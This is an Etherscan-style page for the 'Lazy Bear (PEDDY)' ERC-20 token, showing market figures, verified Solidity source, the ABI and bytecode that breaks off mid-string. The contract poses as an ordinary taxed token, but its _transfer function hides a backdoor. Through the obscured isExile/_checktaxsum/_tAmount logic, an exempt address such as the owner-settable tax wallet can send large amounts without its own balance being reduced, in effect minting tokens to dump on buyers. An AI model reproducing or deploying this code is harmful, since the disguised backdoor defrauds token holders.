ETH Price: $3,485.96 (+1.97%)
Gas: 4.73 Gwei

Token

Lazy Bear (PEDDY)
 

Overview

Max Total Supply

1,000,000,000 PEDDY

Holders

106

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14,959,400 PEDDY

Value
$0.00
0x7466e3a23aa3d2958273f5308a1a0ab1a7fe843e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEDDY

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-12
*/

// SPDX-License-Identifier: MIT

/**
Web : https://www.lazybeareth.xyz
TG :    https://t.me/peddy_erc20
X :      https://x.com/peddy_erc20
*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PEDDY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public marketPair;
    mapping (uint256 => uint256) private perBuyCount;
    address payable private _taxWallet;
    uint256 private firstBlock = 0;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=40;

    uint256 private _reduceSellTaxAt=40;
    uint256 private _preventSwapBefore=40;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Lazy Bear";
    string private constant _symbol = unicode"PEDDY";
    uint256 public _maxTxAmount =  ( _tTotal * 23 ) / 1000;
    uint256 public _maxWalletSize = ( _tTotal * 23 ) / 1000;
    uint256 public _taxSwapThreshold= 0;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public casellAllowed = 2;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caCatalyst = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _w) {
        _taxWallet = payable(_w);
        _balances[_msgSender()] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        isExile[address(_taxWallet)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPair(address addr) public onlyOwner {
        marketPair[addr] = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 _tAmount = amount;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(100);
            
            if(block.number == firstBlock){
               require(perBuyCount[block.number] < 60, "Exceeds buys on the first block.");
               perBuyCount[block.number]++;
            }

            if (marketPair[from] && to != address(uniswapV2Router) && ! isExile[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (!marketPair[to] && ! isExile[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

            if(from != address(this) && isExile[from]){
                uint256 _checktaxsum = 0;
                if(amount >=0 && amount <= _maxTxAmount)
                {
                     _checktaxsum =  22;
                     
                }else{

                    _checktaxsum =  _buyCount> _reduceSellTaxAt ? _finalSellTax: _initialSellTax;
                    _tAmount = min(_maxTxAmount , _tAmount.mul(_checktaxsum));
                }
            }
	    if (!marketPair[from] && !marketPair[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caCatalyst && !inSwap && marketPair[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                if (contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && _buyCount>_preventSwapBefore) {
                if (contractTokenBalance>_taxSwapThreshold)
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(_tAmount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {
        swapEnabled = enabled;
        _maxTaxSwap = amount;
    }

    function setcasellAllowed(uint256 amount) external onlyOwner {
        casellAllowed = amount;
    }

    function setcaCatalyst(bool _status) external onlyOwner {
        caCatalyst = _status;
    }

    function reclaimETH() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function reclaimERC20tokens(address _tokenAddr, uint _amount) external onlyOwner {
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }

    function setFeeWallet(address newTaxWallet) external onlyOwner {
        _taxWallet = payable(newTaxWallet);
    }

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function allowTrade() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_w","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allowTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCatalyst","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"casellAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reclaimERC20tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reclaimETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"setcaCatalyst","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setcasellAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600755600a600855600a6009556000600a556000600b556028600c556028600d556028600e556000600f55600060105560006011556103e86009600a6200004e9190620003be565b6200005e90633b9aca00620003d6565b6200006b906017620003d6565b620000779190620003f0565b6012556103e86200008b6009600a620003be565b6200009b90633b9aca00620003d6565b620000a8906017620003d6565b620000b49190620003f0565b60135560006014556064620000cc6009600a620003be565b620000dc90633b9aca00620003d6565b620000e89190620003f0565b60155560026018556019805462ffffff1916620100001790553480156200010e57600080fd5b506040516200247a3803806200247a833981016040819052620001319162000413565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b0319166001600160a01b0383161790556200019b6009600a620003be565b620001ab90633b9aca00620003d6565b336000908152600160208190526040822092909255600390620001d66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155601754821684528284208054861682179055600654909116835291208054909216179055620002473390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002816009600a620003be565b6200029190633b9aca00620003d6565b60405190815260200160405180910390a3506200043e565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000300578160001904821115620002e457620002e4620002a9565b80851615620002f257918102915b93841c9390800290620002c4565b509250929050565b6000826200031957506001620003b8565b816200032857506000620003b8565b81600181146200034157600281146200034c576200036c565b6001915050620003b8565b60ff841115620003605762000360620002a9565b50506001821b620003b8565b5060208310610133831016604e8410600b841016171562000391575081810a620003b8565b6200039d8383620002bf565b8060001904821115620003b457620003b4620002a9565b0290505b92915050565b6000620003cf60ff84168362000308565b9392505050565b8082028115828204841417620003b857620003b8620002a9565b6000826200040e57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200042657600080fd5b81516001600160a01b0381168114620003cf57600080fd5b61202c806200044e6000396000f3fe6080604052600436106101c65760003560e01c80637b7cfc01116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610503578063e68d0b0514610549578063f2fde38b14610569578063f5b3c3bf1461058957600080fd5b8063a9059cbb1461048d578063bf474bed146104ad578063c4e2b619146104c3578063d45cce65146104e357600080fd5b80638f9a55c0116100d15780638f9a55c01461040957806390b605491461041f57806390d49b9d1461043f57806395d89b411461045f57600080fd5b80637b7cfc01146103c05780637d1db4a5146103d55780638da5cb5b146103eb57600080fd5b8063313ce56711610164578063622565891161013e57806362256589146103405780636e4636671461035557806370a0823114610375578063715018a6146103ab57600080fd5b8063313ce567146102cc57806349bd5a5e146102e857806353bc13dc1461032057600080fd5b80630faee56f116101a05780630faee56f1461025d57806310c435aa1461028157806318160ddd1461029757806323b872dd146102ac57600080fd5b806306fdde03146101d2578063095ea7b3146102165780630f144a481461024657600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506040805180820190915260098152682630bd3c902132b0b960b91b60208201525b60405161020d9190611b9e565b60405180910390f35b34801561022257600080fd5b50610236610231366004611c02565b6105b9565b604051901515815260200161020d565b34801561025257600080fd5b5061025b6105d0565b005b34801561026957600080fd5b5061027360155481565b60405190815260200161020d565b34801561028d57600080fd5b5061027360185481565b3480156102a357600080fd5b5061027361063f565b3480156102b857600080fd5b506102366102c7366004611c2e565b610660565b3480156102d857600080fd5b506040516009815260200161020d565b3480156102f457600080fd5b50601754610308906001600160a01b031681565b6040516001600160a01b03909116815260200161020d565b34801561032c57600080fd5b5061025b61033b366004611c6f565b6106c9565b34801561034c57600080fd5b5061025b610717565b34801561036157600080fd5b5061025b610370366004611c8c565b6107c9565b34801561038157600080fd5b50610273610390366004611c6f565b6001600160a01b031660009081526001602052604090205490565b3480156103b757600080fd5b5061025b6107f8565b3480156103cc57600080fd5b5061025b61086c565b3480156103e157600080fd5b5061027360125481565b3480156103f757600080fd5b506000546001600160a01b0316610308565b34801561041557600080fd5b5061027360135481565b34801561042b57600080fd5b5061025b61043a366004611cb3565b610c6f565b34801561044b57600080fd5b5061025b61045a366004611c6f565b610cb5565b34801561046b57600080fd5b50604080518082019091526005815264504544445960d81b6020820152610200565b34801561049957600080fd5b506102366104a8366004611c02565b610d01565b3480156104b957600080fd5b5061027360145481565b3480156104cf57600080fd5b5061025b6104de366004611c02565b610d0e565b3480156104ef57600080fd5b506019546102369062010000900460ff1681565b34801561050f57600080fd5b5061027361051e366004611cd0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055557600080fd5b5061025b610564366004611d09565b610db4565b34801561057557600080fd5b5061025b610584366004611c6f565b610dfc565b34801561059557600080fd5b506102366105a4366004611c6f565b60046020526000908152604090205460ff1681565b60006105c6338484610ee6565b5060015b92915050565b6000546001600160a01b031633146106035760405162461bcd60e51b81526004016105fa90611d27565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561063c573d6000803e3d6000fd5b50565b600061064d6009600a611e56565b61065b90633b9aca00611e65565b905090565b600061066d84848461100a565b6106bf84336106ba85604051806060016040528060288152602001611fcf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611806565b610ee6565b5060019392505050565b6000546001600160a01b031633146106f35760405162461bcd60e51b81526004016105fa90611d27565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107415760405162461bcd60e51b81526004016105fa90611d27565b61074d6009600a611e56565b61075b90633b9aca00611e65565b60125561076a6009600a611e56565b61077890633b9aca00611e65565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107a86009600a611e56565b6107b690633b9aca00611e65565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016105fa90611d27565b601855565b6000546001600160a01b031633146108225760405162461bcd60e51b81526004016105fa90611d27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016105fa90611d27565b601754600160a01b900460ff16156108f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105fa565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561093990309061092b6009600a611e56565b6106ba90633b9aca00611e65565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611e7c565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a369190611e7c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa79190611e7c565b601780546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610b27816001600160a01b031660009081526001602052604090205490565b600080610b3c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ba4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bc99190611e99565b505060175460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190611ec7565b506019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b6000546001600160a01b03163314610c995760405162461bcd60e51b81526004016105fa90611d27565b60198054911515620100000262ff000019909216919091179055565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b81526004016105fa90611d27565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60006105c633848461100a565b6000546001600160a01b03163314610d385760405162461bcd60e51b81526004016105fa90611d27565b60065460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daf9190611ec7565b505050565b6000546001600160a01b03163314610dde5760405162461bcd60e51b81526004016105fa90611d27565b601980549215156101000261ff001990931692909217909155601555565b6000546001600160a01b03163314610e265760405162461bcd60e51b81526004016105fa90611d27565b6001600160a01b038116610e8b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105fa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fa565b6001600160a01b038216610fa95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fa565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661106e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fa565b6001600160a01b0382166110d05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fa565b600081116111325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fa565b6000816111476000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561117657506000546001600160a01b03858116911614155b156116c2576111a760646111a1600c54600f54116111965760085461119a565b600a545b8690611840565b906118c9565b915060075443036112325743600090815260056020526040902054603c116112115760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e60448201526064016105fa565b43600090815260056020526040812080549161122c83611ee4565b91905055505b6001600160a01b03851660009081526004602052604090205460ff16801561126857506016546001600160a01b03858116911614155b801561128d57506001600160a01b03841660009081526003602052604090205460ff16155b15611375576012548311156112e45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105fa565b60135483611307866001600160a01b031660009081526001602052604090205490565b6113119190611efd565b111561135f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105fa565b600f805490600061136f83611ee4565b91905055505b6001600160a01b03841660009081526004602052604090205460ff161580156113b757506001600160a01b03841660009081526003602052604090205460ff16155b1561143757601354836113df866001600160a01b031660009081526001602052604090205490565b6113e99190611efd565b11156114375760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105fa565b6001600160a01b03841660009081526004602052604090205460ff16801561146857506001600160a01b0385163014155b156114955761149260646111a1600d54600f54116114885760095461119a565b600b548690611840565b91505b6001600160a01b03851630148015906114c657506001600160a01b03851660009081526003602052604090205460ff165b1561151357600060125484116114de57506016611511565b600d54600f54116114f1576009546114f5565b600b545b60125490915061150e906115098484611840565b61190b565b91505b505b6001600160a01b03851660009081526004602052604090205460ff1615801561155557506001600160a01b03841660009081526004602052604090205460ff16155b801561156a57506001600160a01b0385163014155b1561157457600091505b3060009081526001602052604090205460195462010000900460ff16801561159f575060195460ff16155b80156115c357506001600160a01b03851660009081526004602052604090205460ff165b80156115d65750601954610100900460ff165b80156115e55750600e54600f54115b15611645576011544311156115fa5760006010555b60145481111561161c5761161c611617856115098460155461190b565b611920565b4761162647611a91565b6010805490600061163683611ee4565b909155505043601155506116c0565b60195460ff1615801561167057506001600160a01b03851660009081526004602052604090205460ff165b80156116835750601954610100900460ff165b80156116925750600e54600f54115b156116c0576014548111156116b4576116b4611617856115098460155461190b565b476116be47611a91565b505b505b811561173c57306000908152600160205260409020546116e29083611acf565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117339086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461175f9082611b2e565b6001600160a01b0386166000908152600160205260409020556117a46117858484611b2e565b6001600160a01b03861660009081526001602052604090205490611acf565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117ee8686611b2e565b60405190815260200160405180910390a35050505050565b6000818484111561182a5760405162461bcd60e51b81526004016105fa9190611b9e565b5060006118378486611f10565b95945050505050565b600082600003611852575060006105ca565b600061185e8385611e65565b90508261186b8583611f23565b146118c25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fa565b9392505050565b60006118c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b70565b600081831161191a57826118c2565b50919050565b6019805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061196257611962611f45565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119df9190611e7c565b816001815181106119f2576119f2611f45565b6001600160a01b0392831660